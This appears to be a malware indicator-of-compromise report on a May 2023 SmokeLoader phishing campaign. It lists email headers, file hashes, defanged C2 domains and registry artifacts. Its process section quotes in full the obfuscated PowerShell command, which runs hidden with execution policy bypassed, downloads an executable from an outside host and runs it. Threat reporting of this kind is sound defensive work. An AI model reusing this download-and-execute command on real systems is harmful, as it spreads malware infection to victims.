#smokeloader_040523

#IOC #OptiData #VR #smokeloader #ZIP #JS

https://pastebin.com/RDVXCe0J

previous_contact:
https://pastebin.com/QpG70u8T
https://pastebin.com/BJzcXqkK
https://pastebin.com/kBW7nkZ5
https://pastebin.com/Z7zq0YkW
https://pastebin.com/b8PkhMyN
https://pastebin.com/hkskwKvc
https://pastebin.com/JmthzrL4
https://pastebin.com/1scwT0f8
https://pastebin.com/MP3kCSSh

FAQ:
https://radetskiy.wordpress.com/2018/10/19/ioc_smokeloader_111018/
https://research.checkpoint.com/2019-resurgence-of-smokeloader/

attack_vector
--------------
email attach .zip? > JS > WSH > PowerShell > GET 1URL > exe


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email_headers
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Return-Path: <[email protected]>
Received: from kr-admin.gov.ua (mail.kr-admin.gov.ua [195.62.15.59])
Received: from [127.0.0.1] by kr-admin.gov.ua	(MDaemon PRO v9.6.1)
Reply-To: [email protected]
From: [email protected]
Subject: рахунок від 02.05.2023
Message-Id: <[email protected]>
Date: Thu, 4 May 2023 07:23:20 +0300
X-Mailer: iPad Mail (13E238)
X-Authenticated-Sender: [email protected]


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files
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SHA-256		352974cfdf1a7e182180f8c813a159ae44bb35268d76fae91ab64139be9200bd
File name	pax_2023_AB1058.zip [ Zip archive data, at least v2.0 to extract ]
File size	955.61 KB (978548 bytes)

SHA-256		3c4440dde25ead7074bf3bf90aed31844310c3f1da90ff7e20922fad4c3eab25
File name	pax_2023_AB1058.pdf [ PDF document, version 1.7 ]
File size	1.13 MB (1180511 bytes)

SHA-256		f4e72685fb3efa5bad200451d36c7d1e72a94515c515bdbb09c00254dca289ea
File name	pax_2023_AB1058..js [ JavaScript ]
File size	28.29 KB (28967 bytes)

SHA-256		cd0226a2b9c38ab99f2bbe4461b7fc9d4b07faafbe1ccc53d92bf08d1903a8ae
File name	portable.exe (TempgEq94.exe) [ PE32 executable for MS Windows ]
File size	263.50 KB (269824 bytes)


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activity
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PL_SCR      http://homospoison{ .ru/one/portable.exe  [193.106.175.177]


C2

http://coudzoom{ .ru/
http://balkimotion{ .ru/
http://ligaspace{ .ru/
http://ipodromlan{ .ru/
http://redport80{ .ru/
http://superboler{ .com/
http://lamazone{ .site/
http://criticalosl{ .tech/
http://3dstore{ .pro/
http://humanitarydp{ .ug/
http://shopersport{ .ru/
http://sindoproperty{ .org/
http://maximprofile{ .net/
http://zaliphone{ .com/



netwrk
--------------
193.106.175.177	homospoison.ru	80	HTTP	GET /one/portable.exe HTTP/1.1 	Google Chrome


comp
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powershell.exe      193.106.175.177     homospoison.ru


proc
--------------
"C:\Windows\System32\WScript.exe" "C:\Users\operator\Desktop\pax_2023_AB1058..js"
	"C:\Windows\System32\cmd.exe" /c pO^wErshEll -executionpolicy bypass -noprofile -w hidden $v1='Net.We'; $v2='bClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://homospoison{ .ru/one/portable.exe','%temp%gEq94.exe'); & %temp%gEq94.exe & ZJHYOcunksxSdyp
		C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErshEll  -executionpolicy bypass -noprofile -w hidden $v1='Net.We'; $v2='bClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://homospoison{ .ru/one/portable.exe','C:\Users\support\AppData\Local\TempgEq94.exe');
			C:\Users\support\AppData\Local\TempgEq94.exe


persist
--------------
n/a


drop
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C:\Users\%username%\AppData\Local\TempgEq94.exe


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additional info
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TTPs:   Query Registry  System Information Discovery
wscript.exe     \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation

TTPs:   Email Collection
explorer.exe    \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\
                \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676


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VT & Intezer
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https://www.virustotal.com/gui/file/352974cfdf1a7e182180f8c813a159ae44bb35268d76fae91ab64139be9200bd/details
https://www.virustotal.com/gui/file/3c4440dde25ead7074bf3bf90aed31844310c3f1da90ff7e20922fad4c3eab25/details
https://www.virustotal.com/gui/file/f4e72685fb3efa5bad200451d36c7d1e72a94515c515bdbb09c00254dca289ea/details
https://www.virustotal.com/gui/file/cd0226a2b9c38ab99f2bbe4461b7fc9d4b07faafbe1ccc53d92bf08d1903a8ae/details
https://analyze.intezer.com/analyses/27e7086e-09d8-4998-9e25-06c41e34a42d

VR